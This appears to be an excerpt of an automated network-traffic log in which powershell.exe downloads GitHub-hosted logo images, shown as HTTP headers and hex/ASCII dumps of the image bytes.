2024-09-30 13:50:57 UTC	658	IN	HTTP/1.1 200 OK Connection: close Content-Length: 7993 Cache-Control: public, max-age=31536000, immutable Content-Type: image/jpeg Last-Modified: Thu, 08 Aug 2024 18:12:16 GMT ETag: "0x8DCB7D5A2E1BC4A" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:57 GMT Age: 2952617 X-Served-By: cache-iad-kjyo7100173-IAD, cache-ewr-kewr1740073-EWR X-Cache: HIT, HIT X-Cache-Hits: 8, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 3df59fe6308ab35ac81cfe026d0a1c6063c21684
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c2 00 11 08 00 c0 00 c0 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 04 05 02 03 06 01 07 00 08 ff da 00 08 01 01 00 00 00 00 f2 38 4e f9 99 55 c3 fd 73 8e aa ae a8 d5 2a 6b b3 a3 59 1e dd 33 a1 ce cb 91 2e 62 d1 c9 d5 55 67 03 09 f2 cb 2d b3 96 49 38 Data Ascii: JFIF $.' ",#(7),01444'9=82<.3422!!22222222222222222222222222222222222222222222222222"8NUs*kY3.bUg-I8
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: 61 ac fc 48 9e f3 82 81 a6 9d 17 a8 36 a3 52 b6 11 b1 b0 e3 ae 4c 80 0b 2c 0a f2 68 0c 6c 34 60 21 ab 77 d6 46 e3 b3 6b 24 f4 53 69 94 60 67 2a 15 64 a9 63 79 69 4b 3c b0 fb 93 d1 27 aa 70 74 85 4e 3a 44 67 0d 0d 61 92 f1 69 20 8f e5 52 c8 a6 f2 45 7b 91 f8 e2 4b 7c 8d b3 3c 57 62 33 3f 9e b1 f6 2a b8 f8 87 07 b2 37 b9 d8 3a 27 a3 5f 91 35 e3 92 6f 36 79 fa b2 4e dd da 67 9a 49 a9 da 33 2e 89 ff 00 2f ca 48 d5 d2 4b d6 c8 a3 13 1b 70 cf 62 38 ec 3e 7f b2 d9 ad 17 f9 69 ee d8 93 98 9e 05 9a ed 89 44 8c f1 17 5e 82 ac 6a 95 9c 0d 46 84 e4 91 af 56 1e 86 8a 22 c4 42 90 99 0a 29 69 02 06 ab 18 d5 18 24 63 cc 55 0b cf c3 4a aa 24 d5 63 87 9f 82 a0 8d 6c d5 ed 20 8b e1 43 c6 f1 91 d9 6a b5 03 72 33 70 f5 37 72 b2 96 b1 5b 51 2c 2f 34 d0 80 ab 22 e6 ca 84 97 3a Data Ascii: aH6RL,hl4`!wFk$Si`gdcyiK<'ptN:Dgai RE{K\|<Wb3?7:'_5o6yNgI3./HKpb8>iD^jFV"B)i$cUJ$cl Cjr3p7r[Q,/4":
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: b5 df 05 6b 80 9e 84 6e 19 ce 8a 5c 46 3a ee 30 31 dd 15 92 a0 09 0d 52 4e 50 a8 06 06 55 96 c2 f2 5d bd 15 a2 50 1d 13 69 8e e9 a0 31 68 b0 37 e5 ba a7 40 e4 3d 11 31 a7 55 28 09 c3 90 07 45 8f 12 22 77 97 34 61 d8 94 66 6e 51 e5 8d da 29 1a 23 1d 70 a4 fc 02 bb aa 1f 7a 08 4e 8e aa 10 f5 42 4c 2b 2d 1e aa 16 15 c7 55 8e 88 9b b3 b8 1b 55 a0 40 dd 94 49 3e 4b 93 41 d5 00 a2 e9 3e 4b c4 3e ec 4a 98 58 4c 3d 4b 72 a3 aa ca d7 71 8d 0a b9 cc b9 8d e8 9d 22 d4 18 11 ea b4 44 76 2b fd 2a 6d 23 da 38 4b 8f 9a 81 31 d5 5b c6 a7 4c ff 00 90 53 c6 e2 7c 54 71 1d 52 9f 67 65 07 11 18 58 13 e4 bd 93 2d 1e 8a ea bf aa a9 22 1c 06 ea 5e 8a 50 8d d0 06 9d 77 5a e1 2a e6 85 2d c4 a1 9c ac ea aa 96 50 a8 f6 b3 2e 2d 6c 80 9b 7c c4 a0 df b5 bc 34 11 96 72 8f d9 36 9d 5a Data Ascii: kn\F:01RNPU]Pi1h7@=1U(E"w4afnQ)#pzNBL+-UU@I>KA>K>JXL=Krq"Dv+m#8K1[LS\|TqRgeX-"^PwZ-P.-l\|4r6Z
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: ee 2d 03 2d 75 41 a8 fa f9 ad 9f 6f a9 55 c4 8e 4a ad 66 9f 5f fa 42 07 04 78 98 e0 e8 f5 0a a5 2a 23 88 d3 87 07 3b 2d 2b 81 b3 96 d4 d9 b2 2b 07 7e 55 b1 54 07 91 95 6d be f8 20 91 22 7f 95 51 f5 a9 ba a0 0f b1 ae f0 b9 9e 78 46 93 f5 6f 74 d6 30 2a 1f d3 1d 41 d4 9b 13 37 4f 10 fa 26 dd 45 8d 6b 84 64 c0 2e 1f c8 56 f8 88 8c cc 91 9e aa ec 8b cd a6 32 3b 0f af 44 4d c1 be f0 d0 21 4b 85 6b db af 9e e9 dc 2a 6d 40 b9 ee cf 0d 86 1a 10 66 c8 59 f6 70 6d 71 a6 df 97 64 76 7b 58 28 56 6f 24 ba 72 8d db 41 15 36 67 4f b3 fa fa 85 42 bd 3a 32 2b 37 98 b9 6d 1b 15 4a 8c 69 1c f4 c3 47 45 4b 6f a1 4e a5 47 03 65 49 30 08 4f a1 ec a9 d1 ac d9 69 d6 0a 22 ab dd 53 68 d9 1d 05 52 7b 68 b0 51 da 9b 6b c1 ef f5 08 d4 d9 ea 53 65 4a 7f 88 01 cb db dd 07 d6 a6 d6 f0 Data Ascii: --uAoUJf_Bx#;-++~UTm "QxFot0A7O&Ekd.V2;DM!Kk*m@fYpmqdv{X(Vo$rA6gOB:2+7mJiGEKoNGeI0Oi"ShR{hQkSeJ
2024-09-30 13:50:57 UTC	1378	IN	Data Raw: b5 55 9b 5e b9 cd fd 78 80 36 17 20 3b 68 19 41 00 56 14 5a b5 78 1e 38 60 32 dc d0 3e 12 39 0a 52 aa 0b ec 88 8d 5f 64 3b 4a 08 5c 64 bf dc 5e 14 6f 51 5a c0 30 59 a6 b2 b3 36 8d ef 0c 04 68 38 6b 98 ed 38 d0 17 73 34 3c 35 c5 44 d4 15 db 11 0c 8b 45 e2 2b 19 e4 86 60 80 0d 35 6e 59 f6 a2 1f 0a 08 72 ab ae b2 dc 32 58 00 12 23 52 08 60 25 fd ea 73 c0 19 a2 f0 5b 55 29 eb 05 00 90 7c 98 0f 96 10 d5 11 80 34 3c 21 af 11 0a 58 1b 52 25 aa f6 8d 30 00 a5 88 14 58 78 9b 5d 30 ad 15 01 26 67 ab 4f e0 83 71 00 b7 c4 60 dd 40 85 74 32 bd c8 60 50 c1 4a b6 66 94 59 63 1d 1d b2 e2 0b 7e 0d 57 70 29 20 3c ca e9 d2 cb 62 0c 1c 5c 32 06 55 86 8b d9 7f 55 2a c0 53 aa 9a 07 dd 7c cb e9 96 02 51 2d 5f 09 ca d2 4a 72 78 f5 70 69 78 4f 98 05 9e 01 fd a3 23 70 2d 3a aa 38 Data Ascii: U^x6 ;hAVZx8`2>9R_d;J\d^oQZ0Y6h8k8s4<5DE+`5nYr2X#R`%s[U)\|4<!XR%0Xx]0&gOq`@t2`PJfYc~Wp) <b\2UU*S\|Q-_JrxpixO#p-:8
2024-09-30 13:50:57 UTC	1103	IN	Data Raw: 79 a9 d2 ec 4d 6c 38 cd aa d9 e1 5a 88 a1 23 66 6f a9 c6 3c d6 b3 eb 48 cb 2a f8 5c 2b 35 97 2d 6a 66 cc 4c 0f 89 41 a2 c6 fc a6 14 44 bb 80 cb e8 69 6d 4b fb 95 b6 5e 5e fc 4a e1 54 6d 53 cf 6f 8d fa 46 49 91 fe 20 7f 33 6e 75 98 3d af 7e be 58 eb 53 19 2c f4 fe cc e3 88 2c 4c d9 fd c3 11 a9 3a 27 4c 71 93 e6 10 48 74 23 d9 c5 39 fa a8 e3 2e a2 67 d2 17 de 6b 8e 92 07 d9 49 f2 ea eb 3c dd 7f 66 12 ca 0e 32 00 ac a5 1e 58 be d4 7c a2 8d 00 c0 c1 df d4 6c 6a d4 bb 3c 8b ea 47 1a f0 01 b7 88 56 5a bc 53 c3 56 8f 9c 51 89 65 2d a3 4a 91 78 53 e8 8c 5c 50 2b 40 a2 bb 22 39 f2 3b bb c2 90 54 ad 83 60 3a 6c 4f 56 1c aa ce 86 cd 9b d0 ec f0 f8 61 ad 95 1b b5 1d 7b 45 8a 1a 23 a8 cf 1d 06 7c bb 4f 38 e8 b8 c1 94 b1 7e 4a e0 79 ee 65 8d 36 90 36 75 db f1 17 68 ec Data Ascii: yMl8Z#fo<H*\+5-jfLADimK^^JTmSoFI 3nu=~XS,,L:'LqHt#9.gkI<f2X\|lj<GVZSVQe-JxS\P+@"9;T`:lOVa{E#\|O8~Jye66uh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49820	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:58 UTC	357	OUT	GET /assets/eslint-33bd6140c37f.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:58 UTC	699	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3413 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Content-MD5: 8OFM5Q+nxdTC/hnd8BTb8Q== Last-Modified: Wed, 14 Aug 2024 19:58:37 GMT ETag: "0x8DCBC9B7C4D75CC" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:58 GMT Age: 2944159 X-Served-By: cache-iad-kjyo7100041-IAD, cache-ewr-kewr1740050-EWR X-Cache: HIT, HIT X-Cache-Hits: 8504, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 813ca42a4809b556901a34fa20f7e46f436e5081
2024-09-30 13:50:58 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 06 00 00 00 52 dc 6c 07 00 00 0d 1c 49 44 41 54 78 01 ec c1 31 01 00 00 00 c2 20 fb a7 b6 c6 0e 60 00 00 00 00 00 00 00 00 00 00 a4 00 9c bd fb 81 cc 72 ff ff 38 9e db ed 36 33 b7 99 99 24 93 cc 4c be b2 6f 26 99 64 8e a4 33 49 72 24 49 92 99 23 3f 93 24 49 52 72 24 99 24 c7 24 49 32 49 72 4c 66 66 8e ec cc 91 cc 4c 26 33 93 99 99 cc cc 7d 66 e6 76 bb 5d de bf 27 36 5f a7 d4 fe 5d d7 f5 79 7f ae fb 3d 1e fe 8f eb cf fb 75 dd 9f cf e7 fa 7c 3e 57 eb 7f 87 2a 90 35 a1 c9 58 55 e9 2e f8 14 f6 e2 1e 86 31 85 69 13 9a 49 0c e0 32 76 58 c5 e9 2a fe 2c ba 90 87 44 ce cc a1 0d 69 ab 3e f7 c5 bf 13 1f 20 26 56 01 1e 5a d3 c8 6d f1 97 e3 1d c4 38 11 e0 b6 bb 0a b0 00 dc 80 18 a7 0a 38 60 d5 Data Ascii: PNGIHDRRlIDATx1 `r863$Lo&d3Ir$I#?$IRr$$$I2IrLffL&3}fv]'6_]y=u\|>W5XU.1iI2vX,Di> &VZm88`
2024-09-30 13:50:58 UTC	1378	IN	Data Raw: bc 0b 00 f0 0c 29 2d 0b 27 1e 40 7c 0a 00 37 be 06 9d c8 41 4a d8 67 5c 40 99 67 01 28 a0 59 43 00 f6 62 c9 97 00 70 a3 cb d0 f6 4d 3b df 0c a2 05 29 2f 02 00 0c a2 cc f5 b0 67 2f c4 87 00 ac 4c 5f 18 46 00 31 df 28 a0 1b 95 9e 04 20 c0 79 d7 5f 73 2c fa 10 80 95 11 9e cf 10 b3 a6 67 48 a9 0f 00 30 8d 4a 57 73 c1 c7 21 9e 04 a0 c5 9e fc eb 36 85 4a 2f 02 00 dc 51 b0 cc 51 7d 00 5a 21 66 5d a6 51 e5 51 00 72 68 88 7b de f7 9c 05 40 05 0b 00 f0 0a a9 b8 02 f0 04 62 01 50 c4 02 50 c0 e1 b8 be e6 b8 6c 01 50 c5 02 00 8c 22 13 f5 b0 e7 20 c4 02 a0 8e 05 00 68 8f 32 00 67 10 58 00 14 b3 00 4c 63 7b 54 2b ff 27 21 16 00 b5 2c 00 c0 83 28 02 70 13 62 01 f0 80 05 20 87 c6 b0 97 39 2e 58 00 bc 60 01 00 7a c3 0c c0 6b 88 05 c0 23 16 80 00 c7 c2 38 81 16 14 2d 00 5e Data Ascii: )-'@\|7AJg\@g(YCbpM;)/g/L_F1( y_s,gH0JWs!6J/QQ}Z!f]QQrh{@bPPlP" h2gXLc{T+'!,(pb 9.X`zk#8-^
2024-09-30 13:50:58 UTC	657	IN	Data Raw: 70 14 a9 12 2d fc 72 5c c4 2c c4 b1 d7 48 97 d2 c5 bf 88 00 e2 58 01 af b1 07 a9 12 b9 f6 69 fc 84 0f 4a ee c1 12 1a 4a f1 e9 f3 1e a2 c4 22 ee a2 32 e1 d7 bd 1e af 51 84 28 71 b7 54 db 9e 2d 28 42 14 99 41 1b ca 13 d8 ec bc 8b 65 88 22 93 a8 2e d5 00 a4 f1 12 a2 4c 80 f7 68 41 da f3 6b 5c 86 0b f8 0c 51 e8 5c a9 8f 40 d4 21 07 51 a8 88 6e d4 79 fc 0b fb 37 44 a9 21 d8 48 1c 17 e1 06 44 b1 45 dc 41 b5 47 ed fc 97 28 40 94 ca a3 79 e5 90 6d 1c 1a e3 10 e5 26 71 ae b5 51 e7 e2 ec 9f ff fb 57 d5 4a 50 17 20 ba 7d bd ad b9 85 e0 14 c4 13 ef 70 48 59 5f ea ac 83 76 7e 88 db 9a 5b 00 32 e8 87 78 a2 80 6e d4 3b 7e ab 7e 08 43 08 20 9e b8 62 15 ff fd b5 a5 cb 10 8f cc e3 26 2a 1d 6c 46 fc 1c 79 88 47 3e fd 78 09 ab 85 a0 0b e2 a1 09 9c 46 3a 86 75 15 37 b0 00 f1 Data Ascii: p-r\,HXiJJ"2Q(qT-(BAe".LhAk\Q\@!Qny7D!HDEAG(@ym&qQWJP }pHY_v~[2xn;~~C b&*lFyG>xF:u7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	49821	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:58 UTC	364	OUT	GET /assets/sindresorhus-d3224f241a4d.jpeg HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:58 UTC	662	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5708 Cache-Control: public, max-age=31536000, immutable Content-Type: image/jpeg Last-Modified: Thu, 08 Aug 2024 18:12:09 GMT ETag: "0x8DCB7D59E37806F" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:58 GMT Age: 1153807 X-Served-By: cache-iad-kiad7000052-IAD, cache-ewr-kewr1740026-EWR X-Cache: HIT, HIT X-Cache-Hits: 11820, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 36fa47b29e267750038a8a2bac09a35246406c12
2024-09-30 13:50:58 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 00 c0 00 c0 03 01 22 00 02 11 01 03 11 01 ff c4 00 93 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 01 02 03 05 06 07 00 08 10 00 02 01 03 03 03 02 04 04 04 05 02 07 00 00 00 01 02 03 00 04 11 05 12 21 06 31 41 13 51 07 22 61 71 14 32 81 91 23 42 52 a1 15 24 82 b1 c1 16 72 33 43 Data Ascii: JFIF $.' ",#(7),01444'9=82<.3422!!22222222222222222222222222222222222222222222222222"!1AQ"aq2#BR$r3C
2024-09-30 13:50:58 UTC	1378	IN	Data Raw: e5 89 23 1d aa 72 b7 c6 cd 6f 45 e3 ce 5f 65 66 69 ad f3 1c 78 a5 15 ec 52 79 1e 92 8b 73 a9 cd 9c a9 c1 f7 a7 8d 66 f4 7f e6 e7 ee 28 38 e1 0d fc a6 88 58 76 8f ca 29 de e3 47 8a e3 64 f1 eb 12 33 e2 65 04 7f 52 f0 68 f1 77 1b 45 b9 d8 49 11 1d fd aa a7 20 1c 18 83 51 30 da 49 2a 9f 42 27 19 1c 80 38 a0 79 2f b0 96 30 39 27 89 67 6f 4d b7 21 e5 4d 24 17 a6 08 dc ab 7c c7 23 34 cb cd 26 e6 02 5f d3 61 50 ad bc 8f 6e 08 04 b2 37 23 cd 15 a0 5c 1a 34 7a 1d ad cd ed cc 4b 12 3b 83 cf 03 26 bb a6 97 6c bf 82 88 dc aa c9 38 50 0b 95 c1 ae 73 f0 ce d6 67 93 74 85 17 e5 e1 49 19 23 cf 1d eb ab ed 55 4c 0a b0 a5 c6 1a 2b e4 dc 88 db 6a 8c 01 c5 42 4f 34 e7 3c d4 79 cd 53 9c ed 84 90 b9 e6 9e a6 a3 3d a9 15 b1 41 c8 20 80 6b de 6a 3d d5 e0 d4 69 83 44 b9 af 12 73 Data Ascii: #roE_efixRysf(8Xv)Gd3eRhwEI Q0I*B'8y/09'goM!M$\|#4&_aPn7#\4zK;&l8PsgtI#UL+jBO4<yS=A kj=iDs
2024-09-30 13:50:58 UTC	1378	IN	Data Raw: 3b 50 7a 85 b0 b9 b7 78 c8 04 91 46 03 8f b9 a4 62 29 c9 03 74 ce 49 a8 7c 2b b6 d4 2f 1a 49 9a 45 dc d9 25 0e 2b 5f d2 bd 21 a6 f4 d5 b7 a7 67 00 52 79 67 63 96 63 f5 35 a7 65 0d 5e 11 ed fb 50 f0 41 b9 b6 46 23 05 b3 8a 71 89 47 8a 97 81 49 bb 26 a1 a2 2c 88 46 07 8a 26 31 8a 66 29 ca 70 6a 51 01 91 e0 8a 56 5c 1a 8a 26 a9 89 e2 9c 80 60 b7 01 0a 1d c0 57 2c ea e5 45 d4 19 7d 2c 01 fc c0 62 ba b4 c8 64 89 94 77 c5 72 7e aa 79 e1 ba 31 4f 91 cf ca 71 dc 50 64 4a 86 62 ec 7b f5 b5 9a 4b e9 ae f3 83 8c e3 83 56 36 da ca 5d a6 e5 38 ae 75 71 35 b4 30 4d 71 63 a7 49 70 90 90 1e 56 6c 00 7f fd ec 28 6d 23 a8 ee ee af 8c 31 c1 12 20 e4 b2 39 3f ee 2b 35 42 4d 5a 35 b9 45 3e 2c ea 13 37 ac 84 7b d6 5b 50 86 2b 46 2c a8 37 9f 3e d5 a2 d2 e4 fc 4d a8 67 18 6c 72 Data Ascii: ;PzxFb)tI\|+/IE%+_!gRygcc5e^PAF#qGI&,F&1f)pjQV\&`W,E},bdwr~y1OqPdJb{KV6]8uq50MqcIpVl(m#1 9?+5BMZ5E>,7{[P+F,7>Mglr
2024-09-30 13:50:58 UTC	1378	IN	Data Raw: 9a 55 1c 53 b8 c5 39 00 c4 47 a9 41 23 bf 6a 1d 81 5e 69 e9 2e 3b f6 a3 40 b2 76 c1 5a c3 75 76 af 05 b1 29 2c 4b 28 f2 8e c5 7f 62 2b 65 34 aa b1 9e 71 5c 6b ab b5 18 6e b5 7b ab 79 6e 7d 39 91 37 42 c5 32 a4 8f 07 ef ef 4e c5 1e 52 a1 79 35 13 a1 2a 8c 02 09 53 ee 2a 65 63 8c 36 d7 07 be 78 a8 fe 68 f0 1d 78 f7 a7 02 2b 11 23 61 ec 0a ef 4c 8e 4c b4 03 61 fe 83 db f4 aa 69 ed 0e 1a 29 a3 e0 f8 22 b4 e0 d3 25 8d 26 42 ae 32 3c 7d 2b 9e 3b e8 38 e4 71 32 91 5e dd e9 f1 7a 11 c7 1b 6d 3f c3 76 1c 81 e4 53 6e 2f ef ee 60 f4 64 65 8e 36 ee 10 77 ab 4b ab 26 89 b0 46 47 83 8a 0d ed 8b f1 9c 52 f9 35 a6 5a 8b 83 fc a8 ae 48 91 06 10 73 e4 fb d1 b6 b1 ed 3b d8 54 b1 da a4 7d f9 3f 5a 59 98 22 e0 57 37 64 4a 56 5f 69 97 39 70 3c 01 54 1d 41 a6 c9 0d fb ce aa 7d Data Ascii: US9GA#j^i.;@vZuv),K(b+e4q\kn{yn}97B2NRy5Sec6xhx+#aLLai)"%&B2<}+;8q2^zm?vSn/`de6wK&FGR5ZHs;T}?ZY"W7dJV_i9p<TA}
2024-09-30 13:50:58 UTC	196	IN	Data Raw: c4 93 9a d8 2d 67 75 26 8d 3e d5 92 21 ce 2a 75 e3 ed 43 a1 f9 b1 8a 98 1c 1c 62 9f 06 2e 44 84 03 59 8e ae b1 7b bd 26 64 89 d8 49 b7 8d a7 9a d3 70 7b d6 7f a8 f6 ad a3 10 c4 1f de ac c2 55 b1 33 4a 8e 1c fd 3c 65 6d f3 97 32 02 7f 37 b5 1b 6a f1 69 37 11 cc 91 23 ba 1d db 1d 72 0e 3d c7 b5 5f 48 c6 59 5d 58 92 4f 8a 0c d8 05 98 36 dc 8f 63 e6 b4 31 66 52 5b 30 32 45 a9 69 94 f7 57 52 df 5e 09 e2 81 62 56 93 79 40 3e 51 ce 70 3e 94 25 da 2d d5 db 14 31 6f 9e 46 2e ab ce 39 c9 e3 c0 ab fb 8b 76 58 98 a0 c6 01 e2 ab 34 1b 16 79 e6 9e 41 d8 9c 64 77 a6 cb 22 60 c2 2d 3d fc 9f ff d9 Data Ascii: -gu&>!*uCb.DY{&dIp{U3J<em27ji7#r=_HY]XO6c1fR[02EiWR^bVy@>Qp>%-1oF.9vX4yAdw"`-=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49822	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:58 UTC	359	OUT	GET /assets/homebrew-c7e38eeacb52.png HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:59 UTC	660	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6942 Cache-Control: public, max-age=31536000, immutable Content-Type: image/png Last-Modified: Thu, 08 Aug 2024 18:11:56 GMT ETag: "0x8DCB7D596C86A8E" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:58 GMT Age: 2350445 X-Served-By: cache-iad-kcgs7200042-IAD, cache-ewr-kewr1740058-EWR X-Cache: HIT, HIT X-Cache-Hits: 1569, 1 Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: fb83bebe47a89ee31b29addafbe1cbf71df0bd9c
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c0 00 00 00 c0 08 06 00 00 00 52 dc 6c 07 00 00 1a e5 49 44 41 54 78 01 ed 9d 05 78 53 57 d8 c7 bf b6 b4 2b ae a5 2d 4e 61 c2 d6 e1 ee ee 4c b0 6d b8 33 c1 b5 eb 56 bc 38 63 86 cd 71 eb d0 6e c5 dd ad d8 70 67 3e dc a1 09 ef f7 7f f3 7c b7 5f 72 9a a6 49 9b a4 91 f7 f7 3c bf 0d d2 24 4d e9 f9 df 7b ee 3d e7 bc e7 7f 04 41 f0 4e 0a c3 ad 70 13 6c 0a 7d a0 20 78 0d 8b 21 19 79 19 8e 85 85 a0 47 23 08 3e f0 26 24 33 26 c0 2f 61 2e e8 91 08 42 51 48 29 78 03 7e 08 3d 0e 41 68 04 89 f5 f7 f7 a7 81 83 06 53 de e0 e0 e4 82 10 0b 0b 40 41 f0 18 3a 43 62 43 42 43 e9 d8 89 93 74 e0 d0 61 8a f8 f8 63 0a ca 9b d7 5c 08 6e c1 e6 50 10 3c 82 7e 90 d8 62 c5 8b 73 00 12 3d 78 f8 08 ce 08 83 28 6b d6 ac 6a 08 f4 70 Data Ascii: PNGIHDRRlIDATxxSW+-NaLm3V8cqnpg>\|_rI<$M{=ANpl} x!yG#>&$3&/a.BQH)x~=AhS@A:CbCBCtac\nP<~bs=x(kjp
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 8b 6d ee 52 fd f2 6b 1c 8d 18 35 8a aa 56 ab a6 de 5e d5 bc 01 1b 43 c1 cb 09 80 1b 20 a9 16 29 52 94 6b 81 f2 fd 7b 9b 66 7e 1e c2 bc 9f cf bf fc 92 1a 35 6a 4c 01 01 01 c9 06 a0 51 63 c3 e2 1a 1e 0b b0 2a 30 fc 79 30 5a cc f3 8a 6c fa 3c 73 be fd 96 4a 97 29 63 ee 3d f5 70 22 14 bc 94 8c f0 17 48 c6 72 97 66 ca d4 69 dc 67 e7 06 94 26 b9 71 7f d4 a7 2f bd 52 a2 44 92 06 d8 b5 5b b7 c4 89 72 7e 7e 19 92 6d f8 5c 91 62 c2 c4 49 7c 1d 91 ea cf c1 67 05 4c ba e3 42 bf e6 be c7 14 d9 fd c6 fb 28 ac d6 e0 09 0c 0c a4 0f 3e fc 48 9b e1 69 77 b9 70 16 96 3c 22 10 7d 68 58 44 84 49 f7 65 24 ba 2b 5c 54 eb 25 dc 0e e5 ba 42 dc e5 1a 3d 76 2c 2f a6 b1 eb 67 d8 7f f0 10 7e c6 0f f9 da c1 dc 75 41 16 28 78 01 45 e1 1f 90 34 b9 e1 c5 a2 df 8c 46 e2 15 7e f7 fd 0f 94 Data Ascii: mRk5V^C )Rk{f~5jLQc*0y0Zl<sJ)c=p"Hrfig&q/RD[r~~m\bI\|gLB(>Hiwp<"}hXDIe$+\T%B=v,/g~uA(xE4F~
2024-09-30 13:50:59 UTC	1378	IN	Data Raw: 28 2a 56 ac 98 f8 7d 2a 54 a8 60 b6 32 73 d6 ac 59 e9 0d 14 cd 9d 3c 79 32 2d 59 b2 84 e2 e2 e2 68 e1 c2 85 7c 56 e2 6d 56 4d 42 a4 f9 3a 3e f3 ae 3d 7b 4c b6 4e e2 20 9f 3e 7d 9a ec cd c4 89 13 d3 12 58 1d ec 0a d3 09 21 14 9e 87 94 9c 93 26 4d 22 47 d1 ad 5b 37 8b a3 af 1f a2 0c e1 dd bb 77 c9 12 87 0e 1d a2 c6 8d 1b 27 79 fd ab 28 db 52 ca e8 6c 52 1b 05 bc 1c c1 cd 9b 37 4d ee 6a a9 67 cf 17 5f 7c 91 3f 07 8f 2d 24 77 66 78 0e 3f 85 82 93 e9 00 6f a9 83 40 ef bc f3 0e 7d 8b 8a c8 3b 77 ee a4 13 27 4e 90 23 c1 9d 25 b3 0d a7 2d 2e 7c 2f 5c b8 40 b6 70 e4 c8 11 6c a6 5d 3d d9 40 cd 99 33 87 1c c5 d7 98 df a4 ed 5e c3 0d 7e e4 c8 91 74 f8 f0 61 ba 73 e7 0e 19 c3 61 e6 5b c9 83 06 0d 32 37 0a bd da 79 a5 54 84 16 ea c6 